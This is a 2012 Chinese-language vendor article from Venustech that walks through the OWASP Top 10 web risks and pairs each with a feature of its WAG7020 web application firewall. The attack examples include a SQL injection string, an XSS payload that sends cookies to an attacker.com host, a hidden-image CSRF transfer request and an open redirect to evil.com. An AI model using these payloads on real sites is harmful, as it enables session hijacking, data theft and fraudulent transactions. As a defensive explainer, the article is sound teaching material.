【全系列】天清WAG产品针对OWASP Top 10安全解决方案
发布时间:2012-07-24   作者:

1. SQL注入


注入攻击漏洞,例如SQL,OS以及LDAP注入,这些攻击发生在攻击者发送的不可信的数据作为命令或者查询语句的一部分,传送给解释器进行解释,以执行计划外的命令或者访问未授权数据

 

攻击案例:
     应用程序在下面存在漏洞的SQL语句的构造中使用不可信数据:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";

攻击者在浏览器中将“id”参数的值修改成’ or’1’=’1. 这样查询语句的意义就变成了从帐户数据库中返回所有的记录,而不是只有目标客户的信息。

http://example.com/app/accountView?id=' or '1'='1

在最严重的情况下,攻击者能够使用这一漏洞调用数据库中特殊的储存过程,从而达到完全接管数据库,甚至运行数据库的主机。

解决方案:

WAG7020,采用基于SQL语义语法的检测模式,这种方法比传统的基于特征的攻击检测更灵活、准确,并且更易统一配置与防护。而基于特征的攻击检测容易出现漏报和误报,WAG7020 中SQL 注入检测由博士后工作站专门算法支撑。
 

 

2. 跨站脚本(XSS)

 

当应用程序收到不可信数据后,不做任何验证和转义情况下,将这些数据发送到客户端浏览器,通过本地JS后AJAX执行,就会产生跨站脚本攻击。XSS可以劫持用户会话,危害网站,将用户转向恶意网站,甚至劫持键盘操作等。

 

攻击案例:

 应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据:

(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC") + "'>";

攻击者在浏览器中修改‘CC’ 参数为如下值:

'><script>document.location='http://www.attacker.com/cgi‐bin/cookie.cgi?
foo='+document.cookie</script>'.

这导致受害者的会话ID被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。请注意攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造(CSRF)防御机制。

解决方案:

WAG7020,基于原理的攻击检测比基于特征的攻击检测更灵活、准确,基于特征攻击检测容易出现漏报和误报,WAG7020 中跨站脚本攻击博士后工作站有专门算法支撑。

 

 
3. 失效的身份认证和会话管理

 

与身份认证和会话管理相关的应用程序得不到正确实现,导致攻击者可以破解密码,密钥,会话令牌,或通过其他漏洞来冒充其他用户身份。

攻击案例:

案例1:机票预订应用程序支持URL重写,把会话ID放在URL里:
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
该网站一个经过认证的用户希望让他朋友知道这个机票打折信息。他将上面链接通过邮件发给他朋友们,并不知道自己已经泄漏了自己的会话ID。当他的朋友们使用上面的链接时,他们将会使用他的会话和信用卡。
案例2:应用程序超时设置不当。用户使用公共计算机访问网站。离开时,该用户没有点击退出,而是直接关闭浏览器。攻击者在一个小时后能使用相同浏览器通过身份认证。
案例3:内部或外部攻击者进入系统的密码数据库. 存储在数据库中的用户密码没有被加密, 所有用户的密码都被攻击者获得(参见CSDN用户密码泄漏事件)
解决方案:
 WAG7020中的Cookie 保护、SSL 加密传输,可以防止盗取会话令牌及网络嗅探。

 


 
4. 不安全的对象直接引用

 

当开发人员暴露一个对内部实现对象的直接引用时,例如文件序列,目录序列或者数据库密钥,在没有访问控制检测与其他保护机制时,攻击者会操控这些引用去访问未授权数据。
攻击案例:
应用程序在访问帐户信息的SQL调用中使用未验证数据:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connection.prepareStatement(query , …);
pstmt.setString( 1, request.getparameter("acct"));
ResultSet results = pstmt.executeQuery( );
攻击者能轻易在浏览器将“acct” 参数修改成他所想要的任何账户号码。如果应用程序没有进行恰当的验证,攻击者就能访问任何用户的账户,而不仅仅是该目标用户的账户。
http://example.com/app/accountInfo?acct=notmyacct
解决方案:
WAG7020,可以基于正常行为基线的HTTP 请求攻击检测,窗体域一致性验证,并进行严格的访问控制。

 

 

 


 
5. 跨站请求伪造(CSRF)

 

跨站请求伪造攻击将迫使用户浏览器发送一个伪造的HTTP请求到存在漏洞的web应用,这个请求使用该用户的cookie或其他认证信息,这个请求会被应用认为是来自该用户的合法请求。
攻击案例:
应用程序允许用户提交不包含任何保密字段的状态改变请求,如:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
因此,攻击者构建一个请求,用于将受害用户账户中的现金转移到自己账户。然后攻击者在其控制的多个网站的图片请求或iframe中嵌入这种攻击。
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“
width="0" height="0" />
如果受害用户通过example.com认证后访问任何一个这样的恶意网站,伪造的请求将包含用户的会话信息,导致该请求被授权执行。
解决方案:
WAG7020,基于原理的攻击检测,博士后工作站有专门防止CSRF 注入算法支撑。

 


 
6. 安全配置错误

 

许多应用的配置默认值并不安全,因此需要合理定义,实施,维护这些设置。
典型案例:
案例1: 你的应用程序依赖于强大的框架,比如Struts或者Spring。在这些你所依赖的框架部分中,发现了XSS漏洞。一个发布的安全更新可以修复这些漏洞,但是你没有更新你的库文件。在你更新这些库文件以前,攻击者可以很容易的找到并攻破这些应用程序的漏洞。
案例2: 应用程序服务器管理员控制台自动安装后没有被删除。而默认帐户也没有被改变。攻击者在你的服务器上发现了标准的管理员页面,通过默认密码登录,从而接管了你的服务器。
案例3: 目录列表在你的服务器上未被禁用。攻击者发现只需列出目录,她就可以找到你服务器上的任意文件。攻击者找到并下载所有已编译的Java类,他通过反编译获得了所有你的自定义代码。然后,他在你的应用程序中找到一个访问控制的严重漏洞。
案例4: 应用程序服务器配置允许堆栈跟踪返回给用户,这样就暴露了潜在的漏洞。攻击者热衷于收集错误消息里提供的额外信息
解决方案:
WAG7020,敏感信息防护  —操作系统信息保护、服务器信息保护、屏蔽服务器
返回的错误信息,特征事件 — 针对常见的对敏感文件探测访问进行检测。


 
7. 不安全的加密存储

许多应用程序并没有使用恰当的加密措施或Hash算法保护敏感数据如信用卡,社保卡,身份证信息等。攻击者可能利用这些数据进行身份盗窃,信用卡诈骗等
典型案例:
案例1: 一个应用程序加密存储在数据库的信用卡信息,以防止信用卡信息暴露给最终用户。但是,数据库设置为对信用卡表列的查询进行自动解密,这就使得SQL注入漏洞能够获得所有信用卡信息的明文。该系统应该被设置为只允许后端应用程序解密信用卡信息,而不是前端网络应用程序。
案例2: 一个备份磁盘里包含加密的医疗记录,但是用于加密的密钥存储在同一个备份里。而磁带在到达备份中心的途中遗失。
案例3: 密码数据库使用不带salt的哈希算法去存储每个人的密码。一个文件上传漏洞使黑客能够获取密码文件。所有这些没有使用salt来哈希的密码通过暴力破解方式能够在四周内被破解,而使用了恰当的salt来哈希的密码则需要3000年才能被破解。
解决方案:
WAG7020,服务器敏感信息防护—防止信用卡信息泄露、身份证号信息泄漏。

 
8. 没有限制URL访问

许多应用程序显示受保护连接会检测URL访问权限,但是没有进行良好的访问控制检测。
攻击案例:
攻击者只需简单地迫使浏览器连接到目标网址。例如下面的两个网址都需要身份验证。访问“admin_getappInfo”页面同时还需要管理员权限。
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
如果攻击者没有通过身份认证,却能访问上述任一页面,那么表示未授权的访问被允许。如果通过验证的非管理员用户也能允许访问“admin_getappInfo”页面,那么这是个漏洞。这个漏洞可能会将攻击者引向更多保护不当的管理页面。
当应用程序只是简单的对未授权用户不显示链接和按钮,却没有合理保护他们请求的页面时,通常就会造成造成这种漏洞。
解决方案:
WAG7020,针对服务器的URL 访问控制(黑白名单)支持。


9. 传输层保护不足

 

应用程序通常没有对身份认证进行加密措施,或在进行保护时采用弱算法,过期或无效证书等。
典型案例:
案例1: 一个网站上所有需要身份验证的网页都没有使用SSL。攻击者只需监控网络数据流(比如一个开放的无线网络或其社区的有线网络),并观察一个已验证的受害者的会话cookie。然后,攻击者利用这个cookie执行重放攻击并接管用户的会话。
案例2: 网站有不正确配置的SSL证书从而导致其用户使用浏览器时产生警告。用户必须接受这样的警告以便继续使用该网站。这将导致用户对这种警告习以为常。针对网站客户的钓鱼攻击会引诱用户到一个没有有效证书的类似的网站,这样就会产生相似的警告。由于受害者已习惯了这样的警告,他们继续登陆和使用这个钓鱼网站,将密码或其他私人数据泄露出去。
案例3: 一个网站简单地使用标准的ODBC/JDBC进行数据库连接,而没有意识到所有的数据流都是明文。
解决方案:
WAG7020,通过WAG 强制用户使用https 传输。


 
10. 未验证的重定向和转发

 

Web应用经常将用户重定向和转发到其他网页和网站,并且利用不可信数据去判定目的页面。如果没有得到适当验证,攻击者可以重定向受害者用户到钓鱼网站,或者转到未授权访问页面。
攻击案例:
案例1: 应用程序有一个名为“redirect.jsp”的页面,该页面有一个参数名是“url”。攻击者精心制作一个恶意URL将用户重定向到一个恶意网站,执行钓鱼攻击并安装恶意程序。
http://www.example.com/redirect.jsp?url=evil.com
案例2: 应用程序使用转发在网站的不同部分之间发送请求。为了帮助实现这一功能,如果一个交易成功了的话,一些网页就会发送一个参数给用户,用于指定用户的下一个页面。在这种情况下,攻击者制作一个URL, 用于绕过应用程序的访问控制检查,并将他转发给一个他通常不能访问的管理功能能。
http://www.example.com/boring.jsp?fwd=admin.jsp
解决方案:
WAG7020,挂马防护,HTTP 协议合规。
 
 

 

 

文章来源:
  • 公司总部 | 分支机构 | 法律声明 | 投资者关系 | 400-624-3900 800-810-6038
  • © 启明星辰1996-2015 版权所有 京ICP备05032414号 京公网安备110108003435号